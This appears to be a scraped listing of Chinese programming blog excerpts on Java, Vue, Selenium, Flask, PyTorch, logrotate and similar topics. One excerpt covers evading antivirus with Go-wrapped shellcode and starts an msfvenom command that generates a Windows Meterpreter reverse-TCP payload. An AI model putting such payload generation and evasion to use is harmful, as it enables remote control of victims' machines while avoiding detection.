使用方法protected private方法

java数组的创建和使用

声明 数组必须先声明后使用,数组的声明有两种方法: 1. C语言风格声明: dataType arrayRefVar[]; 2. Java风格声明: dataType[] arrayRefVar; 一般推荐使用第二种Java风格的声明方式。 创建数组 声明的数组并不具备物理空间,需要使用new操作符 ......
数组 java

VC6 在win11下运行出现 LINK : fatal error LNK1168: cannot open Debug/test.exe for writing 解决方法是修改cmd窗口缓冲区

写在前面 vc6下载地址:https://softdown01.rbread04.cn/down/VC6.0green.rar?timestamp=6429444b&auth_key=e4fc373a1342be9ce2d6802419980ade 注意:如果是win11 则记得修改msdev名字 ......
缓冲区 writing 方法 cannot Debug

windows下使用pytorch进行单机多卡分布式训练

现在有四张卡,但是部署在windows10系统上,想尝试下在windows上使用单机多卡进行分布式训练,网上找了一圈硬是没找到相关的文章。以下是踩坑过程。 首先,pytorch的版本必须是大于1.7,这里使用的环境是: pytorch==1.12+cu11.6 四张4090显卡 python==3. ......
分布式 单机 windows pytorch

mybatis OGNL表达式,xml查询中使用java的变量值

1、参考 ##struts2 ongl 访问静态变量与访问枚举 ##Ognl表达式基本原理和使用方法 2、java类 package org.jeecg.mgt.cms.constant; public class EAd { public static final Integer show1 = ......
量值 表达式 mybatis OGNL java

使用logrotate做nginx日志分割

一、logrotate介绍 logrotate是centos自带命令,其他linux操作系统可能需要自行安装,用来进行日志切割和定期删除,简单来说就是将某个日志文件按照时间或大小分割成多份,删除时间久远的日志。 日志用来帮助我们了解程序运行情况,定位程序bug,如果不对日志及时进行清理就会占据磁盘空 ......
logrotate nginx 日志

xpath语法的使用(以selenium为例)

""" xpath定位 1. 路径选择 / 表示根节点 /html 表示选择根节点下的html节点 /html/body/div 表示选择根节点下的html节点下面的body节点下面的div节点 //div/p 选择所有div下的直接子节点p元素 //div//p 选择所有div下的所有p元素 // ......
语法 selenium xpath

css选择器语法使用(以selenium为例)

""" 通过css选择器查找元素 """ # 查找类名属性为plant的第一个元素 element = wd.find_element(By.CSS_SELECTOR, ".plant") # 查找tag属性名为div的第一个元素 element = wd.find_element(By.CSS_S ......
语法 selenium css

Windows11资源管理器更换成传统右键菜单的方法

1.打开注册表,找到 HKEY_CURRENT_USER\SOFTWARE\CLASSES\CLSID 2. 右键点击CLSID,新建,项,项名称为: {86ca1aa0-34aa-4e8b-a509-50c905bae2a2} 3.右键点击这个新建的项,再选择新建》项,项名称为: InprocSe ......
资源管理 菜单 传统 Windows 方法

selenium简单使用

from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.common.by import By from selenium.webdriv ......
selenium

vue使用方法,侦听器,计算属性三种方式实现简易计算器

今天我们用vue中方法,计算属性,还有监听器来完成一个简易的小型计算器 一. 代码实现效果 二.代码实现 1.创建一个web项目,导入本地js文件实例化vue对象并挂载DOM节点 2.方法实现计算器 框架分析: 1.创建输入框用来输入数据,创建按钮计算结果 2.v-model属性使用,利用v-mod ......

jeesite 解决js文件中无法使用${ctx}获取根目录的问题

html页面中定义base=${ctx}; 引用的js文件中,使用base ......
根目录 jeesite 文件 问题 ctx

Vue三种方法实现简易计算器。

计算器实现: 方法1:使用v-model进行双向绑定。 方法2:使用computed计算属性。 方法3:使用watch侦听属性。 1.定义自定义方法getResult,该方法用来计算表达式的值。 `` <head> <meta charset="utf-8"> <title></title> <sc ......
计算器 简易 方法 Vue

scapy模块基础使用

一、安装scapy: 完整安装,会安装ipython和scapy等模块,命令如下: pip install --pre scapy[complete] python导入scapy使用下面语句: from scapy.all import * 一些工具、方法和用途:summary() 显示一个关于每个 ......
模块 基础 scapy

flask基本使用/路由/配置/

python 主流web框架 web框架的本质都是一样的 django 大而全 内置的app很多,第三方支持的app也很多 flask 小而精 没有过多的内置组件只完成web框架最基本的功能,需要借助于第三方,完成更丰富的功能 fastapi 异步的web框架,接口支持的并发更高,近两年很火,很多人 ......
路由 flask

SSM使用Druid数据源出现循环报错

##解决方法 ###在数据库连接配置db.properties文件中的属性前增加前缀 xml配置 <bean id="dataSource" class="com.alibaba.druid.pool.DruidDataSource"> <property name="username" value ......
数据源 数据 Druid SSM

Vue三种方法实现简易计算器

1 <!DOCTYPE html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <title></title> 6 <script src="js/vue.js"></script> 7 </head> 8 <body> 9 <div id="app"> ......
计算器 简易 方法 Vue

VUE分别使用普通方法、计算属性、监听器完成简易计算器

计算器功能: 1.加减乘除模可以随意切换使用表单元素< seclect > 2.当输入框中数字改变时实时得出运算结果方法1:v-model绑定input框的值,绑定input键盘按下和鼠标点击时触发自定义方法getResult,该方法用来计算表达式的值。方法2:使用computed计算属性方法3:使 ......
监听器 计算器 简易 属性 方法

两种方式自定制基于JWT的认证类BaseAuthentication和BaseJSONWebTokenAuthentication方法

1.基于BaseAuthentication的自定义方法 2.views中调用自定义方法MyJwtAuthentication验证 3.基于BaseAuthentication的自定义方法测试:token过期 4.基于BaseAuthentication的自定义方法测试:token数据有错误,需检查 ......

方法引用

方法引用概述 方法引用就是把已有的方法拿过来用,当作函数式接口中的抽象方法的方法体。 举例: 方法引用的使用需要满足以下四个条件: 引用处必须是函数式接口 被引用的方法必须已经存在 被引用的方法的形参和返回值需要和抽象方法保持一致 被引用方法的功能要满足当前需求 举例: import java.ut ......
方法

junit 使用stub进行粗粒度测试

测试背景: 1. 程序要以 http 连接到第三方的web服务器上。 2. 功能依赖于 其他人员开发的模块。。。但其他模块尚未完成,需要用仿造系统来替代。 通常有两种策略来生成模拟对象。stub技术和 mock objects 一、stub 简介 stub是一种机制,用来模拟真实代码 或者尚未完成的 ......
粒度 junit stub

使用 SK 示例 探索 GitHub 存储库 中的机器人

微软 3月22日 一篇文章“Semantic-kernel 嵌入和记忆:使用聊天UI探索GitHub Repos”[1] ,文章中进行了展示了嵌入,该文章解释了他们如何帮助开发人员提出有关GitHub存储库的问题或使用自然语言查询探索GitHub存储库。与嵌入一起,这是在SK存储器[2](嵌入集合) ......
示例 机器人 机器 GitHub SK

SpringBoot中操作Redis通过所有可能的key查询存在的key并解析为对象实体的通用方法

场景 SpringBoot中操作Redis的特殊操作-批量查询(通过key的集合批量查杜绝模糊搜索)、查询并解析对象list: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/129896929 在上面讲操作redis中特殊操作时, ......
SpringBoot 实体 key 对象 方法

使用msf生成shellcode并用Go免杀?

msf生成的裸马现在已经不行了,加壳也只能加冷门壳了,VMP,Shielden,upx不是失效就是效果很差,所以当下,得用shellcode来免杀了 msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST ......
shellcode msf

使用 MybatisPlusCore 自带的雪花算法生成不重复数字

这里不介绍雪花算法的实现原理,可以自行搜索查阅网上的资料。这里主要介绍雪花算法的使用场景,如何调用第三方类库 Mybatis Plus Core 自带的方法来使用雪花算法。 雪花算法的主要使用场景,就是生成不重复的数字,作为数据库表的主键使用。你可能会使用 uuid 作为主键,但是其占用 16 个字 ......
MybatisPlusCore 算法 雪花 数字

Python使用rtlsdr

1.打开命令行 也可以在Spyder中的控制台中 2.安装rtlsdr pip install pyrtlsdr 3.下载驱动动态库 https://ftp.osmocom.org/binaries/windows/rtl-sdr/ 因为python是64位的,所以驱动也要下载64位的 下载最新的即 ......
Python rtlsdr

小程序使用templet

复杂页面可以使用templet templet跟component相比有什么优势呢? 更轻量,只有两个文件:wxml和wxss, component有四个文件 模板内标签的点击事件传值方便,不用写triggerEvent templet可以嵌套, templet相比component的缺点:点击事件 ......
templet 程序

HTTP 方法:GET 对比 POST

什么是 HTTP ? 超文本传输协议(HTTP)的设计目的是保证客户端与服务器之间的通信。 HTTP 的工作方式是客户端与服务器之间的请求-应答协议。 web 浏览器可能是客户端,而计算机上的网络应用程序也可能作为服务器端。 举例:客户端(浏览器)向服务器提交 HTTP 请求;服务器向客户端返回响应 ......
方法 HTTP POST GET

请编写一个程序,使用两个线程分别输出数字和字母,要求输出的结果为:1A2B3C4D5E6F7G8H9I10J。

请编写一个程序,使用两个线程分别输出数字和字母,要求输出的结果为:1A2B3C4D5E6F7G8H9I10J。 提示:可以使用Java中的wait()和notify()方法来实现线程间的通信。 public class NumberLetterPrinter { // 定义一个静态的锁对象 priv ......

Stream 式方法

Map<Integer, Person> collect = list.stream().collect(Collectors.toMap(Person::getId, Function.identity())); Map<Integer, Person> collect1 = list.strea ......
方法 Stream

修改头像,CreateModelMixin, RetrieveModelMixin, UpdateModelMixin内部的方法进行重写create、retrieve、update方法

1.假设GET请求和POST请求,用的序列化类不一样,如何处理__ser.py 2.假设GET请求和POST请求,用的序列化类不一样,如何处理__views.py 3.假设GET请求和POST请求,用的序列化类不一样,如何处理总结 4.用户注册测试 5.查询用户名和用户头像 6.修改用户头像 7.C ......